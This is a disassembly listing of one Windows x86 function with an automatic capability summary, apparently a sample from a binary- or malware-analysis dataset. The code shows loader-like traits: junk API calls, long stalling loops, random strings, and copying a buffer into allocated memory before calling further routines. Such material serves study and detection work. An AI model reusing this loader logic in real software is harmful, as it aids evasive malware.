Function at 0x40a9e0
Capabilities:
Create pipe
Get common file path
Get geographical location
Identify system language via api
Manipulate console buffer
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40c00b
mov eax, dword fs:[0]
push eax
sub esp, 0x878
mov eax, dword [0x43207c]
xor eax, esp
mov dword [esp + 0x870], eax
push ebx
push esi
push edi
mov eax, dword [0x43207c]
xor eax, esp
push eax
lea eax, [esp + 0x888]
mov dword fs:[0], eax
mov edx, dword [0x2b62174]
xor ebx, ebx
cmp edx, 0x7c
jne 0x40aaa2
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
cmp dword [0x2b62174], 0x2d
jne 0x40aa7d
push ebx
push ebx
push ebx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call fcn.00401caa
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
call fcn.00401120
mov edx, dword [0x2b62174]
mov ecx, dword [0x43ca20]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x40aabf
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40aad3
mov dword [0x43dd50], edi
mov dword [0x43dd54], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40aab2
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b62174], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40ab02
mov eax, dword [0x43ca14]
mov dword [0x2b624fc], eax
cmp edx, 0x3c
jne 0x40ab10
push ebx
call edi
mov edx, dword [0x2b62174]
inc esi
cmp esi, 0x5f6c74
jl 0x40aaf0
cmp edx, 0x110a
jne 0x40abe9
push ebx
mov dword [0x2b62168], ebx
mov dword [0x2b6216c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.yejojometawocado
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push ebx
call fcn.00401b71
mov edi, 7
xor ecx, ecx
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x1c]
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], cx
call fcn.00401180
push str.0__s__d__f
mov dword [esp + 0x894], ebx
call fcn.00401c82
add esp, 4
push ebx
call fcn.00401b71
xor edx, edx
add esp, 4
lea eax, [esp + 0x38]
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], ebx
mov word [esp + 0x38], dx
call fcn.00401180
push ebx
call fcn.00401b71
add esp, 4
push ebx
push ebx
call fcn.00401cc0
push 0x42ff38
push 0x43d850
call fcn.0040164c
add esp, 0x10
push ebx
call fcn.00402041
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2b62174]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b61e9c], eax
cmp dword [0x2b62174], ebx
jbe 0x40ac5d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
jmp 0x40ac20
mov ecx, dword [0x2b624fc]
mov dword [esp + 0x1c], ecx
mov eax, 0xa231
add dword [esp + 0x1c], eax
mov edx, dword [esp + 0x1c]
mov al, byte [edx + esi]
mov ecx, dword [0x2b61e9c]
mov byte [ecx + esi], al
cmp dword [0x2b62174], 0x5ab
jne 0x40ac54
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2b62174]
jb 0x40ac20
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call esi
call fcn.0040a680
mov eax, dword [0x2b62174]
mov edx, dword [0x2b61e9c]
mov edi, dword [0x432f60]
mov ebx, eax
mov dword [esp + 0x18], edx
cmp eax, 0x930
jne 0x40ac9a
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b62174]
mov dword [0x2b61e98], edi
cmp eax, 0x114e
jne 0x40acbe
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call esi
mov eax, dword [0x2b62174]
cmp eax, 0x2f
jne 0x40acf4
xor edx, edx
lea ecx, [esp + 0x1c]
push ecx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push 0
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov eax, dword [esp + 0x18]
push eax
mov edi, ebx
call fcn.0040a800
add dword [0x2b61e9c], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 4
xor esi, esi
jmp 0x40ad20
lea ecx, [esp + 0x54]
push ecx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40ad43
cmp dword [esp + 0x5c], 0xf5bed7
jne 0x40ad4c
inc esi
cmp esi, 0x1ece7a52
jl 0x40ad20
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x14], 0x1519a5
mov ebx, 0x8e46a6f0
jmp 0x40ad70
cmp dword [0x2b62174], 0xcc1
jne 0x40ad80
push 0
call edi
cmp dword [0x2b62174], 0x3dc
mov dword [0x2b62170], ebx
jne 0x40ada5
push 0
push 0
push 0
push 0
push 0
push 0
push str.rufivatowozenivabejewusis
call esi
dec dword [esp + 0x14]
jne 0x40ad70
mov ecx, dword [esp + 0x888]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x870]
xor ecx, esp
call fcn.0040163d
mov esp, ebp
pop ebp
ret